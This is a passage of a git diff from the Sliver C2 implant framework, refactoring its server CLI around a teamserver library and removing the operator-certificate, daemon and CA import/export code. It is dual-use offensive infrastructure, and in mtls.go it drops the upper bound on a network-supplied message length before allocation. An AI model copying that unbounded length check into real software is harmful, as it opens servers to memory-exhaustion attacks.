chunkSize int) [][]byte { - var chunks [][]byte - - for i := 0; i < len(data); i += chunkSize { - end := i + chunkSize - - // If end is greater than the length of the data, - // adjust it to be the length of data to avoid slicing beyond. - if end > len(data) { - end = len(data) - } - - chunk := make([]byte, chunkSize) - copy(chunk, data[i:end]) - - chunks = append(chunks, chunk) - } - - return chunks -} diff --git a/server/c2/mtls.go b/server/c2/mtls.go index 4a31d2c087..cf91f8931f 100644 --- a/server/c2/mtls.go +++ b/server/c2/mtls.go @@ -40,9 +40,6 @@ import ( const ( // defaultServerCert - Default certificate name if bind is "" (all interfaces) defaultServerCert = "" - - // ServerMaxMessageSize - Server-side max GRPC message size - ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1 ) var ( @@ -163,27 +160,27 @@ func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) { // Read the first four bytes to determine data length dataLengthBuf := make([]byte, 4) // Size of uint32 n, err := io.ReadFull(connection, dataLengthBuf) + if err != nil || n != 4 { mtlsLog.Errorf("Socket error (read msg-length): %v", err) return nil, err } - dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf)) - if dataLength <= 0 || ServerMaxMessageSize < dataLength { + if dataLength <= 0 { // {{if .Config.Debug}} mtlsLog.Printf("[pivot] read error: %s\n", err) // {{end}} - return nil, errors.New("[pivot] invalid data length") + return nil, errors.New("[pivot] zero data length") } dataBuf := make([]byte, dataLength) n, err = io.ReadFull(connection, dataBuf) + if err != nil || n != dataLength { mtlsLog.Errorf("Socket error (read data): %v", err) return nil, err } - // Unmarshal the protobuf envelope envelope := &sliverpb.Envelope{} err = proto.Unmarshal(dataBuf, envelope) diff --git a/server/certs/ca.go b/server/certs/ca.go index 7ebf12f321..20205bca58 100644 --- a/server/certs/ca.go +++ b/server/certs/ca.go @@ -38,7 +38,6 @@ import ( func SetupCAs() { GenerateCertificateAuthority(MtlsImplantCA, "") GenerateCertificateAuthority(MtlsServerCA, "") - GenerateCertificateAuthority(OperatorCA, "operators") GenerateCertificateAuthority(HTTPSCA, "") } @@ -46,7 +45,7 @@ func getCertDir() string { rootDir := assets.GetRootAppDir() certDir := filepath.Join(rootDir, "certs") if _, err := os.Stat(certDir); os.IsNotExist(err) { - err := os.MkdirAll(certDir, 0700) + err := os.MkdirAll(certDir, 0o700) if err != nil { certsLog.Fatalf("Failed to create cert dir %s", err) } @@ -126,10 +125,9 @@ func GetCertificateAuthorityPEM(caType string) ([]byte, []byte, error) { // doesn't return an error because errors are fatal. If we can't generate CAs, // then we can't secure communication and we should die a horrible death. func SaveCertificateAuthority(caType string, cert []byte, key []byte) { - storageDir := getCertDir() if _, err := os.Stat(storageDir); os.IsNotExist(err) { - os.MkdirAll(storageDir, 0700) + os.MkdirAll(storageDir, 0o700) } // CAs get written to the filesystem since we control the names and makes them @@ -137,12 +135,12 @@ func SaveCertificateAuthority(caType string, cert []byte, key []byte) { certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType)) keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType)) - err := ioutil.WriteFile(certFilePath, cert, 0600) + err := ioutil.WriteFile(certFilePath, cert, 0o600) if err != nil { certsLog.Fatalf("Failed write certificate data to: %s", certFilePath) } - err = ioutil.WriteFile(keyFilePath, key, 0600) + err = ioutil.WriteFile(keyFilePath, key, 0o600) if err != nil { certsLog.Fatalf("Failed write certificate data to: %s", keyFilePath) } diff --git a/server/certs/certs_test.go b/server/certs/certs_test.go deleted file mode 100644 index d2c8034dd1..0000000000 --- a/server/certs/certs_test.go +++ /dev/null @@ -1,44 +0,0 @@ -package certs - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "bytes" - "testing" -) - -func TestOperatorGenerateCertificate(t *testing.T) { - GenerateCertificateAuthority(OperatorCA, "") - cert1, key1, err := OperatorClientGenerateCertificate("test3") - if err != nil { - t.Errorf("Failed to store ecc certificate %v", err) - return - } - - cert2, key2, err := OperatorClientGetCertificate("test3") - if err != nil { - t.Errorf("Failed to get ecc certificate %v", err) - return - } - - if !bytes.Equal(cert1, cert2) || !bytes.Equal(key1, key2) { - t.Errorf("Stored ecc cert/key does match generated cert/key: %v != %v", cert1, cert2) - return - } -} diff --git a/server/certs/operators.go b/server/certs/operators.go index aa91d1b501..591c4319a6 100644 --- a/server/certs/operators.go +++ b/server/certs/operators.go @@ -17,78 +17,3 @@ package certs You should have received a copy of the GNU General Public License along with this program. If not, see . */ - -import ( - "crypto/x509" - "encoding/pem" - "fmt" - - "github.com/bishopfox/sliver/server/db" - "github.com/bishopfox/sliver/server/db/models" -) - -const ( - // OperatorCA - Directory containing operator certificates - OperatorCA = "operator" - - clientNamespace = "client" // Operator clients - serverNamespace = "server" // Operator servers -) - -// OperatorClientGenerateCertificate - Generate a certificate signed with a given CA -func OperatorClientGenerateCertificate(operator string) ([]byte, []byte, error) { - cert, key := GenerateECCCertificate(OperatorCA, operator, false, true) - err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator), cert, key) - return cert, key, err -} - -// OperatorClientGetCertificate - Helper function to fetch a client cert -func OperatorClientGetCertificate(operator string) ([]byte, []byte, error) { - return GetECCCertificate(OperatorCA, fmt.Sprintf("%s.%s", clientNamespace, operator)) -} - -// OperatorClientRemoveCertificate - Helper function to remove a client cert -func OperatorClientRemoveCertificate(operator string) error { - return RemoveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator)) -} - -// OperatorServerGetCertificate - Helper function to fetch a server cert -func OperatorServerGetCertificate(hostname string) ([]byte, []byte, error) { - return GetECCCertificate(OperatorCA, fmt.Sprintf("%s.%s", serverNamespace, hostname)) -} - -// OperatorServerGenerateCertificate - Generate a certificate signed with a given CA -func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error) { - cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false) - err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, hostname), cert, key) - return cert, key, err -} - -// OperatorClientListCertificates - Get all client certificates -func OperatorClientListCertificates() []*x509.Certificate { - operatorCerts := []*models.Certificate{} - dbSession := db.Session() - result := dbSession.Where(&models.Certificate{CAType: OperatorCA}).Find(&operatorCerts) - if result.Error != nil { - certsLog.Error(result.Error) - return []*x509.Certificate{} - } - - certsLog.Infof("Found %d operator certs ...", len(operatorCerts)) - - certs := []*x509.Certificate{} - for _, operator := range operatorCerts { - block, _ := pem.Decode([]byte(operator.CertificatePEM)) - if block == nil { - certsLog.Warn("failed to parse certificate PEM") - continue - } - cert, err := x509.ParseCertificate(block.Bytes) - if err != nil { - certsLog.Warnf("failed to parse x.509 certificate %v", err) - continue - } - certs = append(certs, cert) - } - return certs -} diff --git a/server/cli/certs.go b/server/cli/certs.go deleted file mode 100644 index c334d23934..0000000000 --- a/server/cli/certs.go +++ /dev/null @@ -1,155 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "encoding/json" - "fmt" - "os" - "path/filepath" - "strings" - - "github.com/bishopfox/sliver/server/certs" - "github.com/spf13/cobra" -) - -var ( - // CATypes - CA types - CATypes = map[string]string{ - "operator": certs.OperatorCA, - "mtls": certs.MtlsImplantCA, - "https": certs.HTTPSCA, - } -) - -// CA - Exported CA format -type CA struct { - Certificate string `json:"certificate"` - PrivateKey string `json:"private_key"` -} - -func validCATypes() []string { - types := []string{} - for caType := range CATypes { - types = append(types, caType) - } - return types -} - -var cmdImportCA = &cobra.Command{ - Use: "import-ca", - Short: "Import certificate authority", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - caType, err := cmd.Flags().GetString(caTypeFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) - os.Exit(1) - } - ca, ok := CATypes[caType] - if !ok { - CAs := strings.Join(validCATypes(), ", ") - fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) - os.Exit(1) - } - - load, err := cmd.Flags().GetString(loadFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", loadFlagStr, err) - os.Exit(1) - } - fi, err := os.Stat(load) - if os.IsNotExist(err) || fi.IsDir() { - fmt.Printf("Cannot load file %s\n", load) - os.Exit(1) - } - - data, err := os.ReadFile(load) - if err != nil { - fmt.Printf("Cannot read file %s", err) - os.Exit(1) - } - - importCA := &CA{} - err = json.Unmarshal(data, importCA) - if err != nil { - fmt.Printf("Failed to parse file %s", err) - os.Exit(1) - } - cert := []byte(importCA.Certificate) - key := []byte(importCA.PrivateKey) - certs.SaveCertificateAuthority(ca, cert, key) - }, -} - -var cmdExportCA = &cobra.Command{ - Use: "export-ca", - Short: "Export certificate authority", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - caType, err := cmd.Flags().GetString(caTypeFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) - os.Exit(1) - } - ca, ok := CATypes[caType] - if !ok { - CAs := strings.Join(validCATypes(), ", ") - fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) - os.Exit(1) - } - - save, err := cmd.Flags().GetString(saveFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", saveFlagStr, err) - os.Exit(1) - } - if save == "" { - save, _ = os.Getwd() - } - - certs.SetupCAs() - certificateData, privateKeyData, err := certs.GetCertificateAuthorityPEM(ca) - if err != nil { - fmt.Printf("Error reading CA %s\n", err) - os.Exit(1) - } - exportedCA := &CA{ - Certificate: string(certificateData), - PrivateKey: string(privateKeyData), - } - - saveTo, _ := filepath.Abs(save) - fi, err := os.Stat(saveTo) - if !os.IsNotExist(err) && !fi.IsDir() { - fmt.Printf("File already exists: %s\n", err) - os.Exit(1) - } - if !os.IsNotExist(err) && fi.IsDir() { - filename := fmt.Sprintf("%s.ca", filepath.Base(caType)) - saveTo = filepath.Join(saveTo, filename) - } - data, _ := json.Marshal(exportedCA) - err = os.WriteFile(saveTo, data, 0600) - if err != nil { - fmt.Printf("Write failed: %s (%s)\n", saveTo, err) - os.Exit(1) - } - }, -} diff --git a/server/cli/cli.go b/server/cli/cli.go index 30e70e08f9..041021c721 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -19,140 +19,171 @@ package cli */ import ( - "fmt" - "log" "os" - "path/filepath" - "runtime/debug" - "strings" + // CLI dependencies + "github.com/rsteube/carapace" "github.com/spf13/cobra" + // Teamserver/teamclient dependencies + "github.com/reeflective/team/server" + + // Sliver Client core, and generic/server-only commands + clientCommand "github.com/bishopfox/sliver/client/command" + consoleCmd "github.com/bishopfox/sliver/client/command/console" + client "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/server/command" + "github.com/bishopfox/sliver/server/encoders" + "github.com/bishopfox/sliver/server/transport" + + // Server-only imports "github.com/bishopfox/sliver/server/assets" - "github.com/bishopfox/sliver/server/c2" "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/console" "github.com/bishopfox/sliver/server/cryptography" - "github.com/bishopfox/sliver/server/daemon" - "github.com/bishopfox/sliver/server/db" ) -const ( - - // Unpack flags - forceFlagStr = "force" - - // Operator flags - nameFlagStr = "name" - lhostFlagStr = "lhost" - lportFlagStr = "lport" - saveFlagStr = "save" - permissionsFlagStr = "permissions" - - // Cert flags - caTypeFlagStr = "type" - loadFlagStr = "load" - - // console log file name - logFileName = "console.log" -) +// Execute the sliver server binary. +func Execute() { + // Create a new Sliver Teamserver: the latter is able to serve all remote + // clients for its users, over any of the available transport stacks (MTLS/TS. + // Persistent teamserver client listeners are not started by default. + teamserver, opts, err := transport.NewTeamserver() + if err != nil { + panic(err) + } -// Initialize logging -func initConsoleLogging(appDir string) *os.File { - log.SetFlags(log.LstdFlags | log.Lshortfile) - logFile, err := os.OpenFile(filepath.Join(appDir, "logs", logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) + // Use the specific set of dialing options passed by the teamserver, + // and use them to create an in-memory sliver teamclient, identical + // in behavior to remote ones. + // The client has no commands available yet. + con, err := client.NewSliverClient(opts...) if err != nil { - log.Fatalf("Error opening file: %v", err) + panic(err) } - log.SetOutput(logFile) - return logFile -} -func init() { - // Unpack - unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") - rootCmd.AddCommand(unpackCmd) - - // Operator - operatorCmd.Flags().StringP(nameFlagStr, "n", "", "operator name") - operatorCmd.Flags().StringP(lhostFlagStr, "l", "", "multiplayer listener host") - operatorCmd.Flags().Uint16P(lportFlagStr, "p", uint16(31337), "multiplayer listener port") - operatorCmd.Flags().StringP(saveFlagStr, "s", "", "save file to ...") - operatorCmd.Flags().StringSliceP(permissionsFlagStr, "P", []string{}, "grant permissions to the operator profile (all, builder, crackstation)") - rootCmd.AddCommand(operatorCmd) - - // Certs - cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") - cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) - rootCmd.AddCommand(cmdExportCA) - - cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...") - cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) - rootCmd.AddCommand(cmdImportCA) - - // Daemon - daemonCmd.Flags().StringP(lhostFlagStr, "l", daemon.BlankHost, "multiplayer listener host") - daemonCmd.Flags().Uint16P(lportFlagStr, "p", daemon.BlankPort, "multiplayer listener port") - daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets") - rootCmd.AddCommand(daemonCmd) - - // Builder - rootCmd.AddCommand(initBuilderCmd()) - - // Version - rootCmd.AddCommand(versionCmd) + // Generate our complete Sliver Framework command-line interface. + rootCmd := sliverServerCLI(teamserver, con) + + // Run the target Sliver command: + // Three different examples here, to illustrate. + // + // - `sliver generate --os linux` starts the server, ensuring assets are unpacked, etc. + // Once ready, the generate command is executed (from the client, passed to the server + // via the in-memory RPC, and executed, compiled, then returned to the client). + // When the binary exits, an implant is compiled and available client-side (locally here). + // + // - `sliver console` starts the console, and everything works like it ever did. + // On top of that, you can access and use the entire `teamserver` control commands to + // start/close/delete client listeners, create/delete users, manage CAs, show status, etc. + // + // - `sliver teamserver serve` is a teamserver-tree specific command, and the teamserver + // set above in the code has been given a single hook to register its RPC backend. + // The call blocks like your old daemon command, and works _just the same_. + if err := rootCmd.Execute(); err != nil { + os.Exit(1) + } } -var rootCmd = &cobra.Command{ - Use: "sliver-server", - Short: "", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - // Root command starts the server normally - - appDir := assets.GetRootAppDir() - logFile := initConsoleLogging(appDir) - defer logFile.Close() - - defer func() { - if r := recover(); r != nil { - log.Printf("panic:\n%s", debug.Stack()) - fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) - os.Exit(99) - } - }() +// sliverServerCLI returns the entire command tree of the Sliver Framework as yielder functions. +// The ready-to-execute command tree (root *cobra.Command) returned is correctly equipped with +// all prerunners needed to connect to remote Sliver teamservers. +// It will also register the appropriate teamclient management commands. +// +// Counterpart of sliver/client/cli.SliverCLI() (not identical: no implant command here). +func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra.Command) { + teamserverCmds := command.TeamserverCommands(team, con) + + // Generate a single tree instance of server commands: + // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with + // a pre-runner ensuring the server and its teamclient are set up and connected. + server := clientCommand.ServerCommands(con, teamserverCmds) + + root = server() + root.Use = "sliver-server" // Needed by completion scripts. + con.IsServer = true + + // Bind the closed-loop console: + // The console shares the same setup/connection pre-runners as other commands, + // but the command yielders we pass as arguments don't: this is because we only + // need one connection for the entire lifetime of the console. + root.AddCommand(consoleCmd.Command(con, server)) + + // The server is also a client of itself, so add our sliver-server + // binary specific pre-run hooks: assets, encoders, toolchains, etc. + con.AddPreRuns(preRunServerS(team, con)) + + // Pre/post runners and completions. + clientCommand.BindPreRun(root, con.PreRunConnect) + clientCommand.BindPostRun(root, con.PostRunDisconnect) + + // Generate the root completion command. + carapace.Gen(root) + + return root +} +func preRunServerS(teamserver *server.Server, con *client.SliverClient) clientCommand.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + // All commands of the teamserver binary + // must always have at least these working. assets.Setup(false, true) + encoders.Setup() certs.SetupCAs() certs.SetupWGKeys() cryptography.AgeServerKeyPair() cryptography.MinisignServerPrivateKey() - c2.SetupDefaultC2Profiles() - - serverConfig := configs.GetServerConfig() - listenerJobs, err := db.ListenerJobs() - if err != nil { - fmt.Println(err) - } - - err = StartPersistentJobs(listenerJobs) - if err != nil { - fmt.Println(err) - } - if serverConfig.DaemonMode { - daemon.Start(daemon.BlankHost, daemon.BlankPort) - } else { - os.Args = os.Args[:1] // Hide cli from grumble console - console.Start() - } - }, -} -// Execute - Execute root command -func Execute() { - if err := rootCmd.Execute(); err != nil { - fmt.Println(err) - os.Exit(1) + // But we don't start Sliver-specific C2 listeners unless + // we are being ran in daemon mode, or in the console. + // We don't always have access to a command, such when + // if cmd != nil { + // if (cmd.Name() == "daemon" && cmd.Parent().Name() == "teamserver") || + // cmd.Name() == "console" { + // serverConfig := configs.GetServerConfig() + // err := c2.StartPersistentJobs(serverConfig) + // if err != nil { + // con.PrintWarnf("Persistent jobs restart error: %s", err) + // } + // } + // } + // Let our in-memory teamclient be served. + return teamserver.Serve(con.Teamclient) } } + +// preRunServer is the server-binary-specific pre-run; it ensures that the server +// has everything it needs to perform any client-side command/task. +// func preRunServer(teamserver *server.Server, con *client.SliverClient) func() error { +// return func() error { +// // Ensure the server has what it needs. +// assets.Setup(false, true) +// encoders.Setup() +// certs.SetupCAs() +// certs.SetupWGKeys() +// cryptography.AgeServerKeyPair() +// cryptography.MinisignServerPrivateKey() +// +// // TODO: Move this out of here. +// serverConfig := configs.GetServerConfig() +// c2.StartPersistentJobs(serverConfig) +// +// // Let our in-memory teamclient be served. +// return teamserver.Serve(con.Teamclient) +// } +// } + +// preRun := func(cmd *cobra.Command, _ []string) error { +// +// // Start persistent implant/c2 jobs (not teamservers) +// // serverConfig := configs.GetServerConfig() +// // c2.StartPersistentJobs(serverConfig) +// +// // Only start the teamservers when the console being +// // ran is the console itself: the daemon command will +// // start them on its own, since the config is different. +// // if cmd.Name() == "console" { +// // teamserver.ListenerStartPersistents() // Automatically logged errors. +// // // console.StartPersistentJobs(serverConfig) // Old alternative +// // } +// return nil +// } diff --git a/server/cli/daemon.go b/server/cli/daemon.go deleted file mode 100644 index b8cc71c326..0000000000 --- a/server/cli/daemon.go +++ /dev/null @@ -1,125 +0,0 @@ -package cli - -import ( - "fmt" - "log" - "os" - "runtime/debug" - - "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/server/assets" - "github.com/bishopfox/sliver/server/c2" - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/console" - "github.com/bishopfox/sliver/server/cryptography" - "github.com/bishopfox/sliver/server/daemon" - "github.com/bishopfox/sliver/server/db" - "github.com/spf13/cobra" -) - -var daemonCmd = &cobra.Command{ - Use: "daemon", - Short: "Force start server in daemon mode", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - force, err := cmd.Flags().GetBool(forceFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err) - return - } - lhost, err := cmd.Flags().GetString(lhostFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", lhostFlagStr, err) - return - } - lport, err := cmd.Flags().GetUint16(lportFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", lportFlagStr, err) - return - } - - appDir := assets.GetRootAppDir() - logFile := initConsoleLogging(appDir) - defer logFile.Close() - - defer func() { - if r := recover(); r != nil { - log.Printf("panic:\n%s", debug.Stack()) - fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) - os.Exit(99) - } - }() - - assets.Setup(force, false) - certs.SetupCAs() - certs.SetupWGKeys() - cryptography.AgeServerKeyPair() - cryptography.MinisignServerPrivateKey() - - listenerJobs, err := db.ListenerJobs() - if err != nil { - fmt.Println(err) - } - - err = StartPersistentJobs(listenerJobs) - if err != nil { - fmt.Println(err) - } - - daemon.Start(lhost, uint16(lport)) - }, -} - -func StartPersistentJobs(listenerJobs []*clientpb.ListenerJob) error { - if len(listenerJobs) > 0 { - // StartPersistentJobs - Start persistent jobs - for _, j := range listenerJobs { - listenerJob, err := db.ListenerByJobID(j.JobID) - if err != nil { - return err - } - switch j.Type { - case constants.HttpStr: - job, err := c2.StartHTTPListenerJob(listenerJob.HTTPConf) - if err != nil { - return err - } - j.JobID = uint32(job.ID) - case constants.HttpsStr: - job, err := c2.StartHTTPListenerJob(listenerJob.HTTPConf) - if err != nil { - return err - } - j.JobID = uint32(job.ID) - case constants.MtlsStr: - job, err := c2.StartMTLSListenerJob(listenerJob.MTLSConf) - if err != nil { - return err - } - j.JobID = uint32(job.ID) - case constants.WGStr: - job, err := c2.StartWGListenerJob(listenerJob.WGConf) - if err != nil { - return err - } - j.JobID = uint32(job.ID) - case constants.DnsStr: - job, err := c2.StartDNSListenerJob(listenerJob.DNSConf) - if err != nil { - return err - } - j.JobID = uint32(job.ID) - case constants.MultiplayerModeStr: - id, err := console.JobStartClientListener(listenerJob.MultiConf) - if err != nil { - return err - } - j.JobID = uint32(id) - } - db.UpdateHTTPC2Listener(j) - } - } - - return nil -} diff --git a/server/cli/operator.go b/server/cli/operator.go deleted file mode 100644 index 1640203d92..0000000000 --- a/server/cli/operator.go +++ /dev/null @@ -1,104 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "os" - "path/filepath" - - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/console" - "github.com/spf13/cobra" -) - -var operatorCmd = &cobra.Command{ - Use: "operator", - Short: "Generate operator configuration files", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - name, err := cmd.Flags().GetString(nameFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", nameFlagStr, err) - return - } - if name == "" { - fmt.Printf("Must specify --%s", nameFlagStr) - return - } - - lhost, err := cmd.Flags().GetString(lhostFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", lhostFlagStr, err) - return - } - if lhost == "" { - fmt.Printf("Must specify --%s", lhostFlagStr) - return - } - - lport, err := cmd.Flags().GetUint16(lportFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", lportFlagStr, err) - return - } - - save, err := cmd.Flags().GetString(saveFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", saveFlagStr, err) - return - } - if save == "" { - save, _ = os.Getwd() - } - - permissions, err := cmd.Flags().GetStringSlice(permissionsFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", permissionsFlagStr, err) - return - } - if len(permissions) == 0 { - fmt.Printf("Must specify --%s", permissionsFlagStr) - return - } - - certs.SetupCAs() - configJSON, err := console.NewOperatorConfig(name, lhost, lport, permissions) - if err != nil { - fmt.Printf("Failed: %s\n", err) - return - } - - saveTo, _ := filepath.Abs(save) - fi, err := os.Stat(saveTo) - if !os.IsNotExist(err) && !fi.IsDir() { - fmt.Printf("File already exists: %s\n", err) - return - } - if !os.IsNotExist(err) && fi.IsDir() { - filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost)) - saveTo = filepath.Join(saveTo, filename) - } - err = os.WriteFile(saveTo, configJSON, 0600) - if err != nil { - fmt.Printf("Write failed: %s (%s)\n", saveTo, err) - return - } - }, -} diff --git a/server/cli/unpack.go b/server/command/assets/unpack.go similarity index 53% rename from server/cli/unpack.go rename to server/command/assets/unpack.go index e6b72fd558..09ff9f3a2b 100644 --- a/server/cli/unpack.go +++ b/server/command/assets/unpack.go @@ -1,4 +1,4 @@ -package cli +package assets /* Sliver Implant Framework @@ -21,22 +21,36 @@ package cli import ( "fmt" - "github.com/bishopfox/sliver/server/assets" "github.com/spf13/cobra" -) -var unpackCmd = &cobra.Command{ - Use: "unpack", - Short: "Unpack assets and exit", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { + "github.com/bishopfox/sliver/server/assets" + "github.com/bishopfox/sliver/server/msf" +) - force, err := cmd.Flags().GetBool(forceFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err) - return - } +const ( + // Unpack flags + forceFlagStr = "force" +) - assets.Setup(force, true) - }, +// Commands returns all commands for Sliver assets management. +func Commands() []*cobra.Command { + unpackCmd := &cobra.Command{ + Use: "unpack", + Short: "Unpack assets and exit", + Long: ``, + Run: func(cmd *cobra.Command, args []string) { + force, err := cmd.Flags().GetBool(forceFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err) + return + } + + assets.Setup(force, true) + msf.CacheModules() + }, + } + + unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") + + return []*cobra.Command{unpackCmd} } diff --git a/server/cli/builder.go b/server/command/builder/builder.go similarity index 53% rename from server/cli/builder.go rename to server/command/builder/builder.go index 80037adb94..f6177fb51f 100644 --- a/server/cli/builder.go +++ b/server/command/builder/builder.go @@ -1,4 +1,4 @@ -package cli +package builder /* Sliver Implant Framework @@ -25,21 +25,29 @@ import ( "runtime/debug" "strings" - clientAssets "github.com/bishopfox/sliver/client/assets" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/client/commands" + "github.com/reeflective/team/server" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/builder" "github.com/bishopfox/sliver/server/generate" "github.com/bishopfox/sliver/server/log" - "github.com/spf13/cobra" ) -var ( - builderLog = log.NamedLogger("cli", "builder") -) +var builderLog = log.NamedLogger("cli", "builder") const ( + nameFlagStr = "name" + enableTargetFlagStr = "enable-target" disableTargetFlagStr = "disable-target" @@ -48,7 +56,17 @@ const ( logLevelFlagStr = "log-level" ) -func initBuilderCmd() *cobra.Command { +// Commands returns all commands for using Sliver as a builder backend. +func Commands(con *console.SliverClient, team *server.Server) []*cobra.Command { + builderCmd := &cobra.Command{ + Use: "builder", + Short: "Start the process as an external builder", + Long: ``, + Run: func(cmd *cobra.Command, args []string) { + runBuilderCmd(cmd, args, team, con) + }, + } + builderCmd.Flags().StringP(nameFlagStr, "n", "", "Name of the builder (blank = hostname)") builderCmd.Flags().IntP(logLevelFlagStr, "L", 4, "Logging level: 1/fatal, 2/error, 3/warn, 4/info, 5/debug, 6/trace") builderCmd.Flags().StringP(operatorConfigFlagStr, "c", "", "operator config file path") @@ -58,77 +76,55 @@ func initBuilderCmd() *cobra.Command { builderCmd.Flags().StringSlice(enableTargetFlagStr, []string{}, "force enable a target: format:goos/goarch") builderCmd.Flags().StringSlice(disableTargetFlagStr, []string{}, "force disable target arch: format:goos/goarch") - return builderCmd -} - -var builderCmd = &cobra.Command{ - Use: "builder", - Short: "Start the process as an external builder", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - configPath, err := cmd.Flags().GetString(operatorConfigFlagStr) - if err != nil { - builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err) - return - } - if configPath == "" { - builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr) - return - } + completers.NewFlagCompsFor(builderCmd, func(comp *carapace.ActionMap) { + (*comp)["enable-target"] = builderFormatsCompleter() + (*comp)["disable-target"] = builderFormatsCompleter() + (*comp)["config"] = commands.ConfigsAppCompleter(con.Teamclient, "detected Sliver configs") + }) - quiet, err := cmd.Flags().GetBool(quietFlagStr) - if err != nil { - builderLog.Errorf("Failed to parse --%s flag %s\n", quietFlagStr, err) - } - if !quiet { - log.RootLogger.AddHook(log.NewStdoutHook(log.RootLoggerName)) - } - builderLog.Infof("Initializing Sliver external builder - %s", version.FullVersion()) + return []*cobra.Command{builderCmd} +} - level, err := cmd.Flags().GetInt(logLevelFlagStr) - if err != nil { - builderLog.Errorf("Failed to parse --%s flag %s\n", logLevelFlagStr, err) - return 